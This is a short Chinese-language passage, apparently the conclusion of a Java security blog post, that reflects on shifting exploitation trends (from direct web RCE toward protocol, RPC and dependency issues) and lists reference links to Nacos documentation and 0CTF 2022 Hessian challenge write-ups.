纵观近两年出现风险较大的漏洞,常见的能够一发入魂、直接通往RCE的WEB漏洞肉眼可见的变少,随之替代的是各种协议问题、远程RPC方法调用、三方依赖包污染、框架底层函数问题等利用手法。安全技术5年一更新,近几年被HW带火的JAVA安全领域,国内的师傅几乎把能卷的产品/组件/框架都卷了个遍,像Weblogic/Struts2/Spring/Log4J/Apache/Xstream等大型框架/组件的漏洞破解,JDBC/内存马/利用回显/shell免杀等技术遍地开花。这让每个想入门JAVA安全的新手都能搜见如山的资料,只要愿意投入时间,多上手调代码,就能掌握好这些技术。
那么什么是安全技术的核心?什么样的安全技术,能持续3-5年甚至10年?这些安全技术能给企业带来什么保障?
归纳总结、触类旁通,大胆假设,小心求证~
5、参考
https://nacos.io/zh-cn/docs/v2/upgrading/2.0.0-compatibility.html
https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup
https://l1nyz-tel.cc/2023/1/10/0ctf2022-hessian-onlyjdk/
http://miku233.viewofthai.link/2022/10/13/0ctf-hessian-onlyjdk/
https://guokeya.github.io/post/psaIZKtC4/